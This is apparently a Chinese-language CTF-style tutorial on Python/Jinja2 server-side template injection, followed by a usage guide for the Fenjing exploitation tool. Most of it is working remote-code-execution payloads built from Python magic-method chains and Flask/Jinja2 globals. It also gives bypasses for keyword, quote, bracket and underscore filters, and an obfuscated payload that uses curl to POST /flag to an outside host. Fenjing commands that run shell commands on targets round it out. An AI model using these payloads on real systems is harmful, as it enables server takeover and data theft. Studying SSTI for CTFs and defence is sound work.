Python SSTI漏洞原理与基础利用以及Fenjing的使用教程

文章目录

      • 一、Python类与对象模型基础
      • 二、魔术方法的作用与利用价值
        • 1. __class__魔术方法
        • 2. __bases__与__mro__魔术方法
        • 3. __subclasses__()魔术方法
        • 4. __init__魔术方法
        • 5. __globals__魔术方法
      • 三、魔术方法链的构建与利用
        • 1. 漏洞验证
        • 2. 获取类对象
        • 3. 定位到object基类
        • 4. 遍历object的子类
        • 5. 定位危险类
        • 6. 获取全局变量空间
        • 7. 执行命令
      • 四、Hackbar的payload
      • 五、 常见的绕过方式
      • Fenjing使用指南
        • 工具模块
        • 通用命令格式
        • 主要参数
          • 1. Mode 模块
          • 2. 通用选项

Python SSTI(服务端模板注入)漏洞本质上是由于Web应用将用户输入直接嵌入到模板引擎中执行,导致攻击者能够在服务器端执行任意代码。 这种漏洞利用的关键在于理解Python的类继承结构和魔术方法,通过精心构造的表达式访问并调用危险函数。本文将从Python面向对象基础开始,逐步深入到SSTI漏洞的原理与利用方法,特别关注如何从最基础的魔术方法链开始进行攻击。

一、Python类与对象模型基础

Python是一种面向对象的语言,所有的数据类型都是对象,而对象是由类定义的。在Python中,每个对象都属于某个类,而类本身也是对象。这种层级结构构成了SSTI漏洞的基础。

类是创建对象的蓝图或模板。例如,字符串类型str是一个类,当我们创建"Hello"时,实际上是在创建str类的一个实例。在Python中,所有的类最终都继承自object基类。这种继承结构使得我们可以沿着类的层级向上或向下遍历。

对象模型中的关键概念包括:

  • 类(Class):定义对象属性和方法的蓝图,如strint等基本类型。
  • 实例(Instance):根据类创建的具体对象,如"Hello"str类的一个实例。
  • 继承(Inheritance):一个类可以继承另一个类的属性和方法,形成类层次结构。
  • 方法解析顺序(MRO):在多重继承的情况下,Python确定方法和属性查找顺序的机制。

理解这些基础概念对于理解SSTI漏洞至关重要,因为攻击者正是利用这些类的继承关系和魔术方法来执行任意代码。

二、魔术方法的作用与利用价值

Python中有一些特殊的魔术方法(Magic Methods),它们以双下划线开头和结尾,用于定义对象的行为。在SSTI攻击中,以下几个魔术方法尤为重要:

1. __class__魔术方法

__class__返回对象所属的类。例如,"Hello".__class__返回 。这是SSTI攻击的起点,因为它允许我们获取对象的类,进而探索其父类和方法。

2. __bases__与__mro__魔术方法

__bases__返回类的直接父类元组,而__mro__返回一个元组,包含类及其所有父类,按照方法解析顺序排列 。例如:

class A: pass
class B(A): pass
print(B.__bases__)  # 输出:
print(B.__mro__)     # 输出:, , 

在SSTI攻击中,__mro__特别有用,因为它允许我们直接访问到object基类 ,而object是所有类的最终父类,其子类列表包含了Python运行时加载的所有类。

3. subclasses()魔术方法

__subclasses__()返回一个类的所有直接子类列表 。例如:

class Parent: pass
class Child(Parent): pass
print(Parent.__subclasses__())  # 输出:

在SSTI攻击中,通过object.__subclasses__()可以获取所有已加载的类 ,这为我们寻找包含危险函数的类提供了途径。

4. __init__魔术方法

__init__是类的初始化方法,当创建类的实例时自动调用 。虽然这个方法本身并不直接用于SSTI攻击,但通过__init__.__globals__可以访问到类定义时的全局变量空间,这包含了我们可能需要的危险函数 。

5. __globals__魔术方法

__globals__返回一个函数所处全局命名空间的字典 。这个字典包含了函数所在模块的所有变量、方法和导入的模块。在SSTI攻击中,这是访问ossubprocess等危险模块的关键

三、魔术方法链的构建与利用

SSTI攻击的核心是构建魔术方法链,从一个简单的对象开始,逐步访问到包含危险函数的类和方法。以下是基础利用的步骤:

1. 漏洞验证

首先,我们需要确认目标应用是否存在SSTI漏洞。最简单的方法是尝试执行一个简单的数学表达式:

{{7*7}}

如果应用返回"49",则表明存在SSTI漏洞;如果返回原始代码或报错,则可能不存在漏洞或存在过滤机制。

2. 获取类对象

确认漏洞后,我们可以从一个简单的对象(如字符串)开始,获取其类:

{{''.__class__}}

这将返回,表示空字符串的类。这是攻击链的起点。

3. 定位到object基类

接下来,我们需要从str类向上追溯到object基类。有两种方法:

方法一:通过__bases__逐层向上

{{''.__class__.__bases__[0].__bases__[0]}}

这里,''.__class__.__bases__[0]获取str类的直接父类object

方法二:通过__mro__直接获取

{{''.__class__.__mro__[1]}}

由于str类的MRO顺序是strobject,因此索引1直接指向object类 。

4. 遍历object的子类

获取到object类后,我们可以遍历其所有子类:

{{''.__class__.__mro__[1].__subclasses__()}}

这将返回一个包含所有已加载类的列表。每个环境中这个列表的索引值可能不同 ,因此我们需要找到包含危险函数的类。

5. 定位危险类

object的子类列表中,寻找包含危险函数的类。例如,在Python3中,os._wrap_close类通常位于索引138或附近位置 :

{{''.__class__.__mro__[1].__subclasses__()[138].__name__}}

这将返回类的名称,帮助我们识别危险类。例如,os._wrap_close类可能包含os.popen方法 。

6. 获取全局变量空间

找到危险类后,我们可以通过其__init__.__globals__获取全局变量空间:

{{''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__}}

这个字典包含了该类定义时可用的所有全局变量,包括ossubprocess等危险模块 。

7. 执行命令

最后,我们可以调用危险函数执行命令:

{{''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['os'].system('id')}}

这将执行id命令并返回结果。类似地,我们可以使用os.popensubprocess.Popen执行更复杂的命令 :

{{''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['os'].popen('ls').read()}}

四、Hackbar的payload

{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

g 是 Flask 中的一个 上下文对象,全称是 globals。它用于在请求生命周期中存储数据(比如数据库连接、用户信息等)。在 Jinja2 模板中可以直接访问 g.pop 是 Python 字典的一个方法,用于从字典中删除并返回某个键的值。g.pop 本身是一个函数,我们可以访问它的属性。

{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

url_for 是 Flask 中的一个内置函数,用于生成 URL(比如根据视图函数名生成对应的 URL 路径)。它在 Jinja2 模板中可以直接访问。

{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

application 是 Flask 中的一个核心对象,代表整个 Flask 应用本身。在 Jinja2 模板中,application 是可以直接访问的(尤其是在调试模式下)。

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

config 是 Flask 中的一个全局对象,用于存储应用的配置信息(如 SECRET_KEY、数据库 URI 等)。它在 Jinja2 模板中可以直接访问。

{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

get_flashed_messages 是 Flask 中的一个 内置函数,用于获取“闪现消息”(flash messages)。闪现消息是 Flask 提供的一种临时消息机制,常用于在请求之间传递提示信息(如登录成功、错误提示等)。它不是用户定义的,而是 Jinja2 模板中可以直接访问的。

{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

在 Jinja2 模板中,self 通常指的是模板本身(即当前模板对象)。它是一个 Jinja2 的内部对象,通常用于在模板中调用自身的方法或属性。

{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

lipsum 是 Jinja2 中的一个 内置函数,用于生成“占位文本”(比如 Lorem Ipsum)。它不是用户定义的,而是 Jinja2 提供的。

{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

cycler 是 Jinja2 中的一个 内置对象,用于在模板中循环使用一组值(比如在循环中交替使用不同的 CSS 样式)。它不是用户定义的,而是 Jinja2 提供的。

{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

joiner 是 Jinja2 中的一个 内置对象,通常用于控制模板中多个元素之间的连接方式(比如逗号、空格等)。它本身不是用户定义的,而是 Jinja2 提供的。

{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

namespace 是 Jinja2 中的一个内置类,用于创建命名空间对象。在模板中可以直接使用 namespace() 来创建变量作用域。它不是用户定义的,而是 Jinja2 提供的。

五、 常见的绕过方式

  1. 引号被禁用
{{().__class__.__mro__[1].__subclasses__()[407](request.args.a, shell=True, stdout=-1).communicate()[0]}}&a=cat /flag

这段代码通过空元组的继承链找到subprocess.Popen类,用request.args.a传入命令参数。shell=True启用shell执行,stdout=-1捕获输出,最终执行cat /flag读取文件。本质是利用Python反射机制绕过直接调用限制,通过对象继承关系间接调用危险函数。
如果上面的args被禁用了,可以考虑cookie或者其他

以下是 Flask 框架中可用于替代 request.args 的其他输入参数来源及其利用方式的总结表格:

Flask 框架输入参数替代利用表

参数来源 获取方式 利用示例(攻击 Payload) 适用请求类型
GET参数(request.args) request.args.get(‘a’) {{().class.mro[1].subclasses()[407](request.args.a, shell=True, stdout=-1).communicate()}} GET /?a=cat /flag
POST 表单 (request.form) request.form.get(‘a’) {{().class.mro[1].subclasses()[407](request.form.a, shell=True, stdout=-1).communicate()}} POST + Body: a=cat /flag
JSON 数据 (request.json) request.json.get(‘a’) {{().class.mro[1].subclasses()[407](request.json.a, shell=True, stdout=-1).communicate()}} POST + JSON: {“a”:“cat /flag”}
Cookies (request.cookies) request.cookies.get(‘a’) {{().class.mro[1].subclasses()[407](request.cookies.a, shell=True, stdout=-1).communicate()}} Cookie: a=cat /flag
URL 路径参数 (request.view_args) request.view_args.get(‘a’) {{().class.mro[1].subclasses()[407](request.view_args.a, shell=True, stdout=-1).communicate()}} /path/(路由参数)
  1. 过滤方括号
{{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag

__getitem__代替方括号

  1. 过滤下划线
{{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__

相当于

{{lipsum.__globals__.os.popen(request.values.a).read()}}&a =cat /flag

​属性访问​​(如 lipsum.__globals__)是直接通过 . 运算符获取对象属性或方法的方式。
​​| attr​​ 是 Jinja2 的过滤器,功能类似 Python 的 getattr(),允许通过字符串动态获取属性(如 lipsum | attr(“__globals__”)),从而避免直接暴露敏感关键字(如 __globals__)。

  1. 过滤os
    只需要把os放在GET参数里面取就可以
{{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
  1. {{}}和{%%}的区别
    {{ }} 用于 输出表达式结果(如变量、计算值),会自动渲染内容到模板。
    {% %} 用于 执行控制语句(如 if、for),不直接输出内容,需配合 print 显式输出。
    关键区别:
    {{ 1+1 }} → 输出 2
    {% 1+1 %} → 无输出(需 {% print(1+1) %} 才能显示结果)
    攻击中的用途:
    {{ }} 直接渲染危险操作(如 os.popen)。
    {% print() %} 绕过对 {{ }} 的过滤,强制输出结果。

  2. 部分字符的构造
    如果payload里面有被过滤的字符可以转成全角字符

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set space=(()|select|string|list)|attr(pop)(five*two)%}
{%set underline=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set colon=(config|string|list)|attr(pop)(two*seven)%}
{%set slash=(config|string|list)|attr(pop)(-eight*eight)%}
{%set dot=(config|string|list)|attr(pop)(five*five*eight-nine)%}
{%set open=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(open=a)|join)%}
相当于{%set open=lipsum.__globals__.get(builtins).get(open)%}
{% set import=(underline,underline,dict(import=a)|join,underline,underline)|join %}

因为| join的默认逻辑是key的连接,所以后面的value并不重要,count用来统计字符的数量
我们还可以据此构造出一些payload

{% set three = dict(ccc=a)|join|count %}
{% set eight = dict(cccccccc=a)|join|count %}
{% set pop = dict(pop=a)|join %}
{% set underline = (lipsum|string|list)|attr(pop)(three*eight) %}
{% set init = (underline, underline, dict(init=underline) | join, underline, underline) | join() %}
{% set globals = (underline, underline, dict(globals=underline) | join, underline, underline) | join() %}
{% set getitem = (underline, underline, dict(getitem=underline) | join, underline, underline) | join() %}
{% set builtins = (underline, underline, dict(builtins=underline) | join, underline, underline) | join() %}
{% set os = (dict(o=a, s=a) | join) %}
{% set x = (q | attr(init) | attr(globals) | attr(getitem))(builtins) %}
{% set chr = x.chr %}
{% set cmd ="curl -X POST -F xx=@/flag http://dnslog"%}
{% if ((lipsum | attr(globals)).get(os).popen(cmd)) %}
abc
{% endif %}
{% set three = dict(ccc=a)|join|count %}
{% set eight = dict(cccccccc=a)|join|count %}
{% set pop = dict(pop=a)|join %}
{% set underline = (lipsum|string|list)|attr(pop)(three*eight) %}
{% set init = (underline, underline, dict(init=underline) | join, underline, underline) | join() %}
{% set globals = (underline, underline, dict(globals=underline) | join, underline, underline) | join() %}
{% set getitem = (underline, underline, dict(getitem=underline) | join, underline, underline) | join() %}
{% set builtins = (underline, underline, dict(builtins=underline) | join, underline, underline) | join() %}
{% set os = (dict(o=a, s=a) | join) %}
{% set x = (q | attr(init) | attr(globals) | attr(getitem))(builtins) %}
{% set chr = x.chr %}
{% set cmd = chr(39)%2bchr(108)%2bchr(115)%2bchr(39) %}
//相当于'ls'
{% set proc = (lipsum | attr(globals)).get(os).popen(cmd) %}
{% set output = proc.read() %}
{{ output }}

如果count被禁用了可以换成length

Fenjing使用指南


工具模块
  • scan:自动 fuzz 页面参数并攻击 WAF。
  • crack:指定目标参数名后进行攻击。
  • crack-request:通过完整 HTTP 请求文件攻击。
  • crack-keywords:从源码中提取黑名单自动生成绕过 payload。

通用命令格式
python -m fenjing <mode> [通用参数] --exec-cmd "<命令>"

例如:

  • python -m fenjing scan --url --exec-cmd "id"
  • python -m fenjing crack --url --method POST --inputs user,pass --exec-cmd "cat /flag"
  • python -m fenjing crack-request -f req.txt --host --port --exec-cmd ""

主要参数
1. Mode 模块
  • scan:自动发现可注入参数并攻击
  • crack:手动指定参数名(用逗号分隔)
  • crack-request:使用原始 HTTP 请求文件
  • crack-keywords:从源码中提取关键字黑名单并自动绕过
2. 通用选项
  • --url :目标地址
  • --method :仅在 crack 模式中指定请求方法
  • --inputs a,b,c:crack 模式下指定参数名
  • -f :crack-request 模式使用请求文件
  • --host <域名>--port <端口>:用于 crack-request
  • --detect-mode :扫描模式(速度 vs 精准)
  • --interval <秒>:每次请求间隔
  • --exec-cmd "<命令>":注入后执行的命令,常用于 shell 反弹或 flag 展示

你可能感兴趣的:(python,网络,web安全)